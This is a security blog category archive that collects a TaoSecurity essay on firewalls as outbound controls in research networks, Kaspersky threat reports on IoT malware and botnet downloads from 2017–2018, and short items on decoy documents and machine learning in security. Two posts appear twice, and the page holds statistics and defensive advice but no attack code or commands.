Category Archives: research

TaoSecurity: Firewalls and the Need for Speed

I was looking for resources on campus network design and found these slides (pdf) from a 2011 Network Startup Resource Center presentation. These two caught my attention:



This bothered me, so I Tweeted about it.

This started some discussion, and prompted me to see what NSRC suggests for architecture these days. You can find the latest, from April 2018, here. Here is the bottom line for their suggested architecture:






What do you think of this architecture?

My Tweet has attracted some attention from the high speed network researcher community, some of whom assume I must be a junior security apprentice who equates "firewall" with "security." Long-time blog readers will laugh at that, like I did. So what was my problem with the original recommendation, and what problems do I have (if any) with the 2018 version?

First, let's be clear that I have always differentiated between visibility and control. A firewall is a poor visibility tool, but it is a control tool. It controls inbound or outbound activity according to its ability to perform in-line traffic inspection. This inline inspection comes at a cost, which is the major concern of those responding to my Tweet.

Notice how the presentation author thinks about firewalls. In the slides above, from the 2018 version, he says "firewalls don't protect users from getting viruses" because "clicked links while browsing" and "email attachments" are "both encrypted and firewalls won't help." Therefore, "since firewalls don't really protect users from viruses, let's focus on protecting critical server assets," because "some campuses can't develop the political backing to remove firewalls for the majority of the campus."

The author is arguing that firewalls are an inbound control mechanism, and they are ill-suited for the most prevalent threat vectors for users, in his opinion: "viruses," delivered via email attachment, or "clicked links."

Mail administrators can protect users from many malicious attachments. Desktop anti-virus can protect users from many malicious downloads delivered via "clicked links." If that is your worldview, of course firewalls are not important.

His argument for firewalls protecting servers is, implicitly, that servers may offer services that should not be exposed to the Internet. Rather than disabling those services, or limiting access via identity or local address restrictions, he says a firewall can provide that inbound control.

These arguments completely miss the point that firewalls are, in my opinion, more effective as an outbound control mechanism. For example, a firewall helps restrict adversary access to his victims when they reach outbound to establish post-exploitation command and control. This relies on the firewall identifying the attempted C2 as being malicious. To the extent intruders encrypt their C2 (and sites fail to inspect it) or use covert mechanisms (e.g., C2 over Twitter), firewalls will be less effective.

The previous argument assumes admins rely on the firewall to identify and block malicious outbound activity. Admins might alternatively identify the activity themselves, and direct the firewall to block outbound activity from designated compromised assets or to designated adversary infrastructure.

As some Twitter responders said, it's possible to do some or all of this without using a stateful firewall. I'm aware of the cool tricks one can play with routing to control traffic. Ken Meyers and I wrote about some of these approaches in 2005 in my book Extrusion Detection. See chapter 5, "Layer 3 Network Access Control."

Implementing these non-firewall-based security choices requries a high degree of diligence, which requires visibility. I did not see this emphasized in the NSRC presentation. For example:


These are fine goals, but I don't equate "manageability" with visibility or security. I don't think "problems and viruses" captures the magnitude of the threat to research networks.

The core of the reaction to my original Tweet is that I don't appreciate the need for speed in research networks. I understand that. However, I can't understand the requirement for "full bandwidth, un-filtered access to the Internet." That is a recipe for disaster.

On the other hand, if you define partner specific networks, and allow essentially site-to-site connectivity with exquisite network security monitoring methods and operations, then I do not have a problem with eliminating firewalls from the architecture. I do have a problem with unrestricted access to adversary infrastructure.

I understand that security doesn't exist to serve itself. Security exists to enable an organizational mission. Security must be a partner in network architecture design. It would be better to emphasize enhance monitoring for the networks discussed above, and think carefully about enabling speed without restrictions. The NSRC resources on the science DMZ merits consideration in this case.

TaoSecurity

Firewalls and the Need for Speed

I was looking for resources on campus network design and found these slides (pdf) from a 2011 Network Startup Resource Center presentation. These two caught my attention:



This bothered me, so I Tweeted about it.

This started some discussion, and prompted me to see what NSRC suggests for architecture these days. You can find the latest, from April 2018, here. Here is the bottom line for their suggested architecture:






What do you think of this architecture?

My Tweet has attracted some attention from the high speed network researcher community, some of whom assume I must be a junior security apprentice who equates "firewall" with "security." Long-time blog readers will laugh at that, like I did. So what was my problem with the original recommendation, and what problems do I have (if any) with the 2018 version?

First, let's be clear that I have always differentiated between visibility and control. A firewall is a poor visibility tool, but it is a control tool. It controls inbound or outbound activity according to its ability to perform in-line traffic inspection. This inline inspection comes at a cost, which is the major concern of those responding to my Tweet.

Notice how the presentation author thinks about firewalls. In the slides above, from the 2018 version, he says "firewalls don't protect users from getting viruses" because "clicked links while browsing" and "email attachments" are "both encrypted and firewalls won't help." Therefore, "since firewalls don't really protect users from viruses, let's focus on protecting critical server assets," because "some campuses can't develop the political backing to remove firewalls for the majority of the campus."

The author is arguing that firewalls are an inbound control mechanism, and they are ill-suited for the most prevalent threat vectors for users, in his opinion: "viruses," delivered via email attachment, or "clicked links."

Mail administrators can protect users from many malicious attachments. Desktop anti-virus can protect users from many malicious downloads delivered via "clicked links." If that is your worldview, of course firewalls are not important.

His argument for firewalls protecting servers is, implicitly, that servers may offer services that should not be exposed to the Internet. Rather than disabling those services, or limiting access via identity or local address restrictions, he says a firewall can provide that inbound control.

These arguments completely miss the point that firewalls are, in my opinion, more effective as an outbound control mechanism. For example, a firewall helps restrict adversary access to his victims when they reach outbound to establish post-exploitation command and control. This relies on the firewall identifying the attempted C2 as being malicious. To the extent intruders encrypt their C2 (and sites fail to inspect it) or use covert mechanisms (e.g., C2 over Twitter), firewalls will be less effective.

The previous argument assumes admins rely on the firewall to identify and block malicious outbound activity. Admins might alternatively identify the activity themselves, and direct the firewall to block outbound activity from designated compromised assets or to designated adversary infrastructure.

As some Twitter responders said, it's possible to do some or all of this without using a stateful firewall. I'm aware of the cool tricks one can play with routing to control traffic. Ken Meyers and I wrote about some of these approaches in 2005 in my book Extrusion Detection. See chapter 5, "Layer 3 Network Access Control."

Implementing these non-firewall-based security choices requries a high degree of diligence, which requires visibility. I did not see this emphasized in the NSRC presentation. For example:


These are fine goals, but I don't equate "manageability" with visibility or security. I don't think "problems and viruses" captures the magnitude of the threat to research networks.

The core of the reaction to my original Tweet is that I don't appreciate the need for speed in research networks. I understand that. However, I can't understand the requirement for "full bandwidth, un-filtered access to the Internet." That is a recipe for disaster.

On the other hand, if you define partner specific networks, and allow essentially site-to-site connectivity with exquisite network security monitoring methods and operations, then I do not have a problem with eliminating firewalls from the architecture. I do have a problem with unrestricted access to adversary infrastructure.

I understand that security doesn't exist to serve itself. Security exists to enable an organizational mission. Security must be a partner in network architecture design. It would be better to emphasize enhance monitoring for the networks discussed above, and think carefully about enabling speed without restrictions. The NSRC resources on the science DMZ merit consideration in this case.

Securelist – Kaspersky Lab’s cyberthreat research and reports: New trends in the world of IoT threats

Cybercriminals’ interest in IoT devices continues to grow: in H1 2018 we picked up three times as many malware samples attacking smart devices as in the whole of 2017. And in 2017 there were ten times more than in 2016. That doesn’t bode well for the years ahead.

We decided to study what attack vectors are deployed by cybercriminals to infect smart devices, what malware is loaded into the system, and what it means for device owners and victims of freshly armed botnets.

&&

Number of malware samples for IoT devices in Kaspersky Lab’s collection, 2016-2018. (download)

One of the most popular attack and infection vectors against devices remains cracking Telnet passwords. In Q2 2018, there were three times as many such attacks against our honeypots than all other types combined.

service % of attacks
Telnet 75.40%
SSH 11.59%
other 13.01%

When it came to downloading malware onto IoT devices, cybercriminals’ preferred option was one of the Mirai family (20.9%).

# downloaded malware % of attacks
1 Backdoor.Linux.Mirai.c 15.97%
2 Trojan-Downloader.Linux.Hajime.a 5.89%
3 Trojan-Downloader.Linux.NyaDrop.b 3.34%
4 Backdoor.Linux.Mirai.b 2.72%
5 Backdoor.Linux.Mirai.ba 1.94%
6 Trojan-Downloader.Shell.Agent.p 0.38%
7 Trojan-Downloader.Shell.Agent.as 0.27%
8 Backdoor.Linux.Mirai.n 0.27%
9 Backdoor.Linux.Gafgyt.ba 0.24%
10 Backdoor.Linux.Gafgyt.af 0.20%

Top 10 malware downloaded onto infected IoT device following a successful Telnet password crack

And here are the Top 10 countries from which our traps were hit by Telnet password attacks:

&&

Geographical distribution of the number of infected devices, Q2 2018. (download)

As we see, in Q2 2018 the leader by number of unique IP addresses from which Telnet password attacks originated was Brazil (23%). Second place went to China (17%). Russia in our list took 4th place (7%). Overall for the period January 1 – July 2018, our Telnet honeypot registered more than 12 million attacks from 86,560 unique IP addresses, and malware was downloaded from 27,693 unique IP addresses.

Since some smart device owners change the default Telnet password to one that is more complex, and many gadgets don’t support this protocol at all, cybercriminals are constantly on the lookout for new ways of infection. This is stimulated by the high competition between virus writers, which has led to password bruteforce attacks becoming less effective: in the event of a successful crack, the device password is changed and access to Telnet is blocked.

An example of the use of “alternative technology” is the Reaper botnet, whose assets at end-2017 numbered about 2 million IoT devices. Instead of bruteforcing Telnet passwords, this botnet exploited known software vulnerabilities:

Advantages of this distribution method over password cracking:

  • Infection occurs much faster
  • It is much harder to patch a software vulnerability than change a password or disable/block the service

Although this method is more difficult to implement, it found favor with many virus writers, and it wasn’t long before new Trojans exploiting known vulnerabilities in smart device software started appearing.

New attacks, old malware

To see which vulnerabilities are targeted by malware, we analyzed data on attempts to connect to various ports on our traps. This is the picture that emerged for Q2 2018:

Service Port % of attacks Attack vector Malware families
Telnet 23, 2323 82.26% Bruteforce Mirai, Gafgyt
SSH 22 11.51% Bruteforce Mirai, Gafgyt
Samba 445 2.78% EternalBlue, EternalRed, CVE-2018-7445
tr-069 7547 0.77% RCE in TR-069 implementation Mirai, Hajime
HTTP 80 0.76% Attempts to exploit vulnerabilities in a web server or crack an admin console password
winbox (RouterOS) 8291 0.71% Used for RouterOS (MikroTik) authentication and WinBox-based attacks Hajime
Mikrotik http 8080 0.23% RCE in MikroTik RouterOS < 6.38.5 Chimay-Red Hajime
MSSQL 1433 0.21% Execution of arbitrary code for certain versions (2000, 2005, 2008); changing administrator password; data theft
GoAhead httpd 81 0.16% RCE in GoAhead IP cameras Persirai, Gafgyt
Mikrotik http 8081 0.15% Chimay-Red Hajime
Etherium JSON-RPC 8545 0.15% Authorization bypass (CVE-2017-12113)
RDP 3389 0.12% Bruteforce
XionMai uc-httpd 8000 0.09% Buffer overflow (CVE-2018-10088) in XionMai uc-httpd 1.0.0 (some Chinese-made devices) Satori
MySQL 3306 0.08% Execution of arbitrary code for certain versions (2000, 2005, 2008); changing administrator password; data theft

The vast majority of attacks still come from Telnet and SSH password bruteforcing. The third most common are attacks against the SMB service, which provides remote access to files. We haven’t seen IoT malware attacking this service yet. However, some versions of it contain serious known vulnerabilities such as EternalBlue (Windows) and EternalRed (Linux), which were used, for instance, to distribute the infamous Trojan ransomware WannaCry and the Monero cryptocurrency miner EternalMiner.

Here’s the breakdown of infected IoT devices that attacked our honeypots in Q2 2018:

Device % of infected devices
MikroTik 37.23%
TP-Link 9.07%
SonicWall 3.74%
AV tech 3.17%
Vigor 3.15%
Ubiquiti 2.80%
D-Link 2.49%
Cisco 1.40%
AirTies 1.25%
Cyberoam 1.13%
HikVision 1.11%
ZTE 0.88%
Miele 0.68%
Unknown DVR 31.91%

As can be seen, MikroTik devices running under RouterOS are way out in front. The reason appears to be the Chimay-Red vulnerability. What’s interesting is that our honeypot attackers included 33 Miele dishwashers (0.68% of the total number of attacks). Most likely they were infected through the known (since March 2017) CVE-2017-7240 vulnerability in PST10 WebServer, which is used in their firmware.

Port 7547

Attacks against remote device management (TR-069 specification) on port 7547 are highly common. According to Shodan, there are more than 40 million devices in the world with this port open. And that’s despite the vulnerability recently causing the infection of a million Deutsche Telekom routers, not to mention helping to spread the Mirai and Hajime malware families.

Another type of attack exploits the Chimay-Red vulnerability in MikroTik routers running under RouterOS versions below 6.38.4. In March 2018, it played an active part in distributing Hajime.

IP cameras

IP cameras are also on the cybercriminal radar. In March 2017, several major vulnerabilities were detected in the software of GoAhead devices, and a month after information about it was published, there appeared new versions of the Gafgyt and Persirai Trojans exploiting these vulnerabilities. Just one week after these malicious programs were actively distributed, the number of infected devices climbed to 57,000.

On June 8, 2018, a proof-of-concept was published for the CVE-2018-10088 vulnerability in the XionMai uc-httpd web server, used in some Chinese-made smart devices (for example, KKMoon DVRs). The next day, the number of logged attempts to locate devices using this web server more than tripled. The culprit for this spike in activity was the Satori Trojan, known for previously attacking GPON routers.

New malware and threats to end users

DDoS attacks

As before, the primary purpose of IoT malware deployment is to perpetrate DDoS attacks. Infected smart devices become part of a botnet that attacks a specific address on command, depriving the host of the ability to correctly handle requests from real users. Such attacks are still deployed by Trojans from the Mirai family and its clones, in particular, Hajime.

This is perhaps the least harmful scenario for the end user. The worst (and very unlikely) thing that can happen to the owner of the infected device is being blocked by their ISP. And the device can often by “cured” with a simple reboot.

Cryptocurrency mining

Another type of payload is linked to cryptocurrencies. For instance, IoT malware can install a miner on an infected device. But given the low processing power of smart devices, the feasibility of such attacks remains in doubt, even despite their potentially large number.

A more devious and doable method of getting a couple of cryptocoins was invented by the creators of the Satori Trojan. Here, the victim IoT device acts as a kind of key that opens access to a high-performance PC:

  • At the first stage, the attackers try to infect as many routers as possible using known vulnerabilities, in particular:
    • CVE-2014-8361 – RCE in the miniigd SOAP service in Realtek SDK
    • CVE 2017-17215 – RCE in the firmware of Huawei HG532 routers
    • CVE-2018-10561, CVE-2018-10562 – authorization bypass and execution of arbitrary commands on Dasan GPON routers
    • CVE-2018-10088 – buffer overflow in XiongMai uc-httpd 1.0.0 used in the firmware of some routers and other smart devices made by some Chinese manufacturers
  • Using compromised routers and the CVE-2018-1000049 vulnerability in the Claymore Etherium miner remote management tool, they substitute the wallet address for their own.

Data theft

The VPNFilter Trojan, detected in May 2018, pursues other goals, above all intercepting infected device traffic, extracting important data from it (user names, passwords, etc.), and sending it to the cybercriminals’ server. Here are the main features of VPNFilter:

  • Modular architecture. The malware creators can fit it out with new functions on the fly. For instance, in early June 2018 a new module was detected able to inject javascript code into intercepted web pages.
  • Reboot resistant. The Trojan writes itself to the standard Linux crontab job scheduler, and can also modify the configuration settings in the non-volatile memory (NVRAM) of the device.
  • Uses TOR for communication with C&C.
  • Able to self-destruct and disable the device. On receiving the command, the Trojan deletes itself, overwrites the critical part of the firmware with garbage data, and then reboots the device.

The Trojan’s distribution method is still unknown: its code contains no self-propagation mechanisms. However, we are inclined to believe that it exploits known vulnerabilities in device software for infection purposes.

The very first VPNFilter report spoke of around 500,000 infected devices. Since then, even more have appeared, and the list of manufacturers of vulnerable gadgets has expanded considerably. As of mid-June, it included the following brands:

  • ASUS
  • D-Link
  • Huawei
  • Linksys
  • MikroTik
  • Netgear
  • QNAP
  • TP-Link
  • Ubiquiti
  • Upvel
  • ZTE

The situation is made worse by the fact that these manufacturers’ devices are used not only in corporate networks, but often as home routers.

Conclusion

Smart devices are on the rise, with some forecasts suggesting that by 2020 their number will exceed the world’s population several times over. Yet manufacturers still don’t prioritize security: there are no reminders to change the default password during initial setup or notifications about the release of new firmware versions, and the updating process itself can be complex for the average user. This makes IoT devices a prime target for cybercriminals. Easier to infect than PCs, they often play an important role in the home infrastructure: some manage Internet traffic, others shoot video footage, still others control domestic devices (for example, air conditioning).

Malware for smart devices is increasing not only in quantity, but also quality. More and more exploits are being weaponized by cybercriminals, and infected devices are used to steal personal data and mine cryptocurrencies, on top of traditional DDoS attacks.

Here are some simple tips to help minimize the risk of smart device infection:

  • Don’t give access to the device from an external network unless absolutely necessary
  • Periodic rebooting will help get rid of malware already installed (although in most cases the risk of reinfection will remain)
  • Regularly check for new firmware versions and update the device
  • Use complex passwords at least 8 characters long, including upper and lower-case letters, numerals, and special characters
  • Change the factory passwords at initial setup (even if the device does not prompt you to do so)
  • Close/block unused ports, if there is such an option. For example, if you don’t connect to the router via Telnet (port TCP:23), it’s a good idea to disable it so as to close off a potential loophole to intruders.


Securelist - Kaspersky Lab’s cyberthreat research and reports

New trends in the world of IoT threats

Cybercriminals’ interest in IoT devices continues to grow: in H1 2018 we picked up three times as many malware samples attacking smart devices as in the whole of 2017. And in 2017 there were ten times more than in 2016. That doesn’t bode well for the years ahead.

We decided to study what attack vectors are deployed by cybercriminals to infect smart devices, what malware is loaded into the system, and what it means for device owners and victims of freshly armed botnets.

Number of malware samples for IoT devices in Kaspersky Lab’s collection, 2016-2018. (download)

One of the most popular attack and infection vectors against devices remains cracking Telnet passwords. In Q2 2018, there were three times as many such attacks against our honeypots than all other types combined.

service % of attacks
Telnet 75.40%
SSH 11.59%
other 13.01%

When it came to downloading malware onto IoT devices, cybercriminals’ preferred option was one of the Mirai family (20.9%).

# downloaded malware % of attacks
1 Backdoor.Linux.Mirai.c 15.97%
2 Trojan-Downloader.Linux.Hajime.a 5.89%
3 Trojan-Downloader.Linux.NyaDrop.b 3.34%
4 Backdoor.Linux.Mirai.b 2.72%
5 Backdoor.Linux.Mirai.ba 1.94%
6 Trojan-Downloader.Shell.Agent.p 0.38%
7 Trojan-Downloader.Shell.Agent.as 0.27%
8 Backdoor.Linux.Mirai.n 0.27%
9 Backdoor.Linux.Gafgyt.ba 0.24%
10 Backdoor.Linux.Gafgyt.af 0.20%

Top 10 malware downloaded onto infected IoT device following a successful Telnet password crack

And here are the Top 10 countries from which our traps were hit by Telnet password attacks:

Geographical distribution of the number of infected devices, Q2 2018. (download)

As we see, in Q2 2018 the leader by number of unique IP addresses from which Telnet password attacks originated was Brazil (23%). Second place went to China (17%). Russia in our list took 4th place (7%). Overall for the period January 1 – July 2018, our Telnet honeypot registered more than 12 million attacks from 86,560 unique IP addresses, and malware was downloaded from 27,693 unique IP addresses.

Since some smart device owners change the default Telnet password to one that is more complex, and many gadgets don’t support this protocol at all, cybercriminals are constantly on the lookout for new ways of infection. This is stimulated by the high competition between virus writers, which has led to password bruteforce attacks becoming less effective: in the event of a successful crack, the device password is changed and access to Telnet is blocked.

An example of the use of “alternative technology” is the Reaper botnet, whose assets at end-2017 numbered about 2 million IoT devices. Instead of bruteforcing Telnet passwords, this botnet exploited known software vulnerabilities:

Advantages of this distribution method over password cracking:

  • Infection occurs much faster
  • It is much harder to patch a software vulnerability than change a password or disable/block the service

Although this method is more difficult to implement, it found favor with many virus writers, and it wasn’t long before new Trojans exploiting known vulnerabilities in smart device software started appearing.

New attacks, old malware

To see which vulnerabilities are targeted by malware, we analyzed data on attempts to connect to various ports on our traps. This is the picture that emerged for Q2 2018:

Service Port % of attacks Attack vector Malware families
Telnet 23, 2323 82.26% Bruteforce Mirai, Gafgyt
SSH 22 11.51% Bruteforce Mirai, Gafgyt
Samba 445 2.78% EternalBlue, EternalRed, CVE-2018-7445
tr-069 7547 0.77% RCE in TR-069 implementation Mirai, Hajime
HTTP 80 0.76% Attempts to exploit vulnerabilities in a web server or crack an admin console password
winbox (RouterOS) 8291 0.71% Used for RouterOS (MikroTik) authentication and WinBox-based attacks Hajime
Mikrotik http 8080 0.23% RCE in MikroTik RouterOS < 6.38.5 Chimay-Red Hajime
MSSQL 1433 0.21% Execution of arbitrary code for certain versions (2000, 2005, 2008); changing administrator password; data theft
GoAhead httpd 81 0.16% RCE in GoAhead IP cameras Persirai, Gafgyt
Mikrotik http 8081 0.15% Chimay-Red Hajime
Etherium JSON-RPC 8545 0.15% Authorization bypass (CVE-2017-12113)
RDP 3389 0.12% Bruteforce
XionMai uc-httpd 8000 0.09% Buffer overflow (CVE-2018-10088) in XionMai uc-httpd 1.0.0 (some Chinese-made devices) Satori
MySQL 3306 0.08% Execution of arbitrary code for certain versions (2000, 2005, 2008); changing administrator password; data theft

The vast majority of attacks still come from Telnet and SSH password bruteforcing. The third most common are attacks against the SMB service, which provides remote access to files. We haven’t seen IoT malware attacking this service yet. However, some versions of it contain serious known vulnerabilities such as EternalBlue (Windows) and EternalRed (Linux), which were used, for instance, to distribute the infamous Trojan ransomware WannaCry and the Monero cryptocurrency miner EternalMiner.

Here’s the breakdown of infected IoT devices that attacked our honeypots in Q2 2018:

Device % of infected devices
MikroTik 37.23%
TP-Link 9.07%
SonicWall 3.74%
AV tech 3.17%
Vigor 3.15%
Ubiquiti 2.80%
D-Link 2.49%
Cisco 1.40%
AirTies 1.25%
Cyberoam 1.13%
HikVision 1.11%
ZTE 0.88%
Miele 0.68%
Unknown DVR 31.91%

As can be seen, MikroTik devices running under RouterOS are way out in front. The reason appears to be the Chimay-Red vulnerability. What’s interesting is that our honeypot attackers included 33 Miele dishwashers (0.68% of the total number of attacks). Most likely they were infected through the known (since March 2017) CVE-2017-7240 vulnerability in PST10 WebServer, which is used in their firmware.

Port 7547

Attacks against remote device management (TR-069 specification) on port 7547 are highly common. According to Shodan, there are more than 40 million devices in the world with this port open. And that’s despite the vulnerability recently causing the infection of a million Deutsche Telekom routers, not to mention helping to spread the Mirai and Hajime malware families.

Another type of attack exploits the Chimay-Red vulnerability in MikroTik routers running under RouterOS versions below 6.38.4. In March 2018, it played an active part in distributing Hajime.

IP cameras

IP cameras are also on the cybercriminal radar. In March 2017, several major vulnerabilities were detected in the software of GoAhead devices, and a month after information about it was published, there appeared new versions of the Gafgyt and Persirai Trojans exploiting these vulnerabilities. Just one week after these malicious programs were actively distributed, the number of infected devices climbed to 57,000.

On June 8, 2018, a proof-of-concept was published for the CVE-2018-10088 vulnerability in the XionMai uc-httpd web server, used in some Chinese-made smart devices (for example, KKMoon DVRs). The next day, the number of logged attempts to locate devices using this web server more than tripled. The culprit for this spike in activity was the Satori Trojan, known for previously attacking GPON routers.

New malware and threats to end users

DDoS attacks

As before, the primary purpose of IoT malware deployment is to perpetrate DDoS attacks. Infected smart devices become part of a botnet that attacks a specific address on command, depriving the host of the ability to correctly handle requests from real users. Such attacks are still deployed by Trojans from the Mirai family and its clones, in particular, Hajime.

This is perhaps the least harmful scenario for the end user. The worst (and very unlikely) thing that can happen to the owner of the infected device is being blocked by their ISP. And the device can often by “cured” with a simple reboot.

Cryptocurrency mining

Another type of payload is linked to cryptocurrencies. For instance, IoT malware can install a miner on an infected device. But given the low processing power of smart devices, the feasibility of such attacks remains in doubt, even despite their potentially large number.

A more devious and doable method of getting a couple of cryptocoins was invented by the creators of the Satori Trojan. Here, the victim IoT device acts as a kind of key that opens access to a high-performance PC:

  • At the first stage, the attackers try to infect as many routers as possible using known vulnerabilities, in particular:
    • CVE-2014-8361 – RCE in the miniigd SOAP service in Realtek SDK
    • CVE 2017-17215 – RCE in the firmware of Huawei HG532 routers
    • CVE-2018-10561, CVE-2018-10562 – authorization bypass and execution of arbitrary commands on Dasan GPON routers
    • CVE-2018-10088 – buffer overflow in XiongMai uc-httpd 1.0.0 used in the firmware of some routers and other smart devices made by some Chinese manufacturers
  • Using compromised routers and the CVE-2018-1000049 vulnerability in the Claymore Etherium miner remote management tool, they substitute the wallet address for their own.

Data theft

The VPNFilter Trojan, detected in May 2018, pursues other goals, above all intercepting infected device traffic, extracting important data from it (user names, passwords, etc.), and sending it to the cybercriminals’ server. Here are the main features of VPNFilter:

  • Modular architecture. The malware creators can fit it out with new functions on the fly. For instance, in early June 2018 a new module was detected able to inject javascript code into intercepted web pages.
  • Reboot resistant. The Trojan writes itself to the standard Linux crontab job scheduler, and can also modify the configuration settings in the non-volatile memory (NVRAM) of the device.
  • Uses TOR for communication with C&C.
  • Able to self-destruct and disable the device. On receiving the command, the Trojan deletes itself, overwrites the critical part of the firmware with garbage data, and then reboots the device.

The Trojan’s distribution method is still unknown: its code contains no self-propagation mechanisms. However, we are inclined to believe that it exploits known vulnerabilities in device software for infection purposes.

The very first VPNFilter report spoke of around 500,000 infected devices. Since then, even more have appeared, and the list of manufacturers of vulnerable gadgets has expanded considerably. As of mid-June, it included the following brands:

  • ASUS
  • D-Link
  • Huawei
  • Linksys
  • MikroTik
  • Netgear
  • QNAP
  • TP-Link
  • Ubiquiti
  • Upvel
  • ZTE

The situation is made worse by the fact that these manufacturers’ devices are used not only in corporate networks, but often as home routers.

Conclusion

Smart devices are on the rise, with some forecasts suggesting that by 2020 their number will exceed the world’s population several times over. Yet manufacturers still don’t prioritize security: there are no reminders to change the default password during initial setup or notifications about the release of new firmware versions, and the updating process itself can be complex for the average user. This makes IoT devices a prime target for cybercriminals. Easier to infect than PCs, they often play an important role in the home infrastructure: some manage Internet traffic, others shoot video footage, still others control domestic devices (for example, air conditioning).

Malware for smart devices is increasing not only in quantity, but also quality. More and more exploits are being weaponized by cybercriminals, and infected devices are used to steal personal data and mine cryptocurrencies, on top of traditional DDoS attacks.

Here are some simple tips to help minimize the risk of smart device infection:

  • Don’t give access to the device from an external network unless absolutely necessary
  • Periodic rebooting will help get rid of malware already installed (although in most cases the risk of reinfection will remain)
  • Regularly check for new firmware versions and update the device
  • Use complex passwords at least 8 characters long, including upper and lower-case letters, numerals, and special characters
  • Change the factory passwords at initial setup (even if the device does not prompt you to do so)
  • Close/block unused ports, if there is such an option. For example, if you don’t connect to the router via Telnet (port TCP:23), it’s a good idea to disable it so as to close off a potential loophole to intruders.

Preventing exfiltration of sensitive docs by flooding systems with hard-to-detect fakes

A group of researchers from Queen’s University (Canada) have proposed a new approach for keeping important documents safe: creating so many believable fakes that attackers are forced either to exfiltrate them all or to try to find the real one from within the system. Of course, both actions carry an increased risk of detection. They’ve also demonstrated that creating and maintaining many fakes can be relatively inexpensive for the defenders, that the real document can … More

The post Preventing exfiltration of sensitive docs by flooding systems with hard-to-detect fakes appeared first on Help Net Security.

Taking Stock: The Internet of Things, and Machine Learning Algorithms at War

It’s in the news every day; hackers targeting banks, hospitals, or, as we’ve come to fear the most, elections.

Suffice to say then that cybersecurity has, in the last few years, gone from a relatively obscure industry – let’s qualify that: not in the sense of importance, but rather how folks have been interacting with it – to one at the forefront of global efforts to protect our data and applications.

 A decade ago, cybersecurity researchers were almost as caliginous as the hackers they were trying to defend folks against, and despite the lack of fanfare, some people still chose it as a career (*gasp).

We spoke to one of our whizz-kids, Gilad Yehudai, to find out what makes him tick and why, of all the possible fields in tech, he chose cybersecurity at a time when it might not have been the sexiest of industries.

Protecting data and applications, a different beast altogether

One of the major challenges facing the industry is the ability to attract new talent; especially when competing against companies that occupy the public sphere from the moment our alarm wakes us up to the moment we lay our phones to rest. Gilad, who has a master’s degree in mathematics and forms part of our team in Israel, offers a pretty interesting perspective,

“The world of cybersecurity is a fascinating one from my point of view, especially when trying to solve machine learning problems related to it. Cybersecurity is adversarial in nature, where hackers try to understand security mechanisms and how to bypass them. Developing algorithms in such environments is much more challenging than algorithms where the data doesn’t try to fool you.”

Never a dull moment

Additionally, our industry is one in flux, as more threats and vulnerabilities are introduced, and hackers find new ways to bypass security mechanisms. The latter was a pretty big draw for Gilad, whose experience in mathematics and serving in the Israeli Army’s cyber defense department made him a great candidate for the Imperva threat research team.

“The research group at Imperva seemed like the perfect fit, as large parts of my day to day job is to develop machine learning algorithms in the domain of cybersecurity, and the data I use is mostly attacks on web applications.”

Speaking of attacks, Gilad and the rest of our research team sure have their hands full.

“In my opinion, the Internet of Things (IoT) security is one of the biggest challenges out there. More and more devices are connected to the internet every day and these devices may be put to malicious use. Hackers may enlist these devices to their botnet in order to launch attacks like DDoS, ATO (account takeover), comment spam and much more.”

Worse still, our growing network of ‘micro-computers’ (smartphones, tablets etc.) could be manipulated and their computational power used to mine cryptocurrencies.

“Protecting these devices the same way we protect endpoint PCs will be one of the biggest challenges.”

Change brings new challenges, and opportunities

On the topic of change, the cybersecurity industry, according to Gilad, is headed increasingly towards machine learning and automation; which serves us well.

“If in the past most security mechanisms were based on hard-coded rules written by security experts, today more and more products are based on rules that are created automatically using artificial intelligent algorithms. These mechanisms can be much more dynamic and adapt better to the ever-changing world of cybersecurity.”

That said, the more the industry relies on machine learning algorithms for defense, the higher the likelihood that hackers will look to manipulate those same algorithms for their own purposes.

“Hackers may try to create adversarial examples to fool machine learning algorithms. Securing algorithms will require more effort, effort that will intensify as these algorithms are used in more sensitive processes. For example, facial recognition algorithms that authorize access to a specific location may be fooled by hackers using an adversarial example in order to gain access to an unauthorized location.”

While the cyber threat landscape continues to evolve, and the bad actors looking to nick our data and compromise our applications get increasingly creative, it’s good to know that there are experts whose sole purpose it is to ‘fight the good fight’, so to speak.

“Research is a bit like walking in the dark, you don’t know in which direction to go next, and you never know what you are going find. Sometimes you begin to research in some direction, and in the process you find a completely other direction which you haven’t even though about at the beginning. Research is not for everybody, but I get really excited about it.

What are botnets downloading?

Spam mailshots with links to malware and bots downloading other malware are just a couple of botnet deployment scenarios. The choice of infectious payload is limited only by the imagination of the botnet operator or customer. It might be a ransomware, a banker, a miner, a backdoor, the list goes on, and you don’t need to go far for examples: take Gandcrab and Trik, or Locky and Necurs, for instance. Every day we intercept numerous file-download commands sent to bots of various types and families. Here we present the results of our botnet activity analysis for H2 2017 and H1 2018.

Methodology

Excluded from the statistics are update files downloaded by bots, since their number depends heavily on the algorithm of the particular malware in question and has an impact on the final distribution. The analysis also excludes configuration files whose download depends on the botnet algorithm and is not relevant to this article. What’s more, we only took account of unique (in terms of MD5 hash) files. The results are based on the analysis of commands from more than 60,000 different C&C associated with 150 bot families and their modifications.

Kaspersky Lab tracks the activity of botnets using Botnet Tracking, a technology that emulates infected computers (bots) to retrieve operational data about the actions of botnet operators.

The total number of unique malicious files downloaded by our bots in H1 2018 fell by 14.5% against H2 2017.

Number of unique malicious files, H2 2017 — H1 2018 (download)

After analyzing the files downloaded by the bots, we identified the most widespread families. Note that the top of the list of most “popular” downloads changes little over time. In 2018, as last year, the backdoor njRAT accounted for many downloads. Its share among all files downloaded by bots increased from 3.7% to 5.2%, meaning that more than 1 in each 20 bot-downloaded files is njRAT. This widespread distribution is due to the variety of versions of the malware and the ease of setting up one’s own backdoor, creating a low entry threshold.

H2 2017 Share H1 2018 Share
1 Lethic 17.0% njRAT 5.2%
2 Neutrino.POS 4.6% Lethic 5.0%
3 njRAT 3.7% Khalesi 4.9%
4 Emotet 3.5% Miners 4.6%
5 Miners 2.9% Neutrino.POS 2.2%
6 Smoke 1.8% Edur 1.3%
7 Cutwail 0.7% PassView 1.3%
8 Ransomware 0.7% Jimmy 1.1%
9 SpyEye 0.5% Gandcrab 1.1%
10 Snojan 0.3% Cutwail 1.1%

Most downloaded threats, H2 2017 — H1 2018

Very often, botnets are used to distribute cryptocurrency mining tools. In H1 2018 miners accounted for 4.6% of all downloaded files, a far higher figure than in H2 2017 (2.9%).

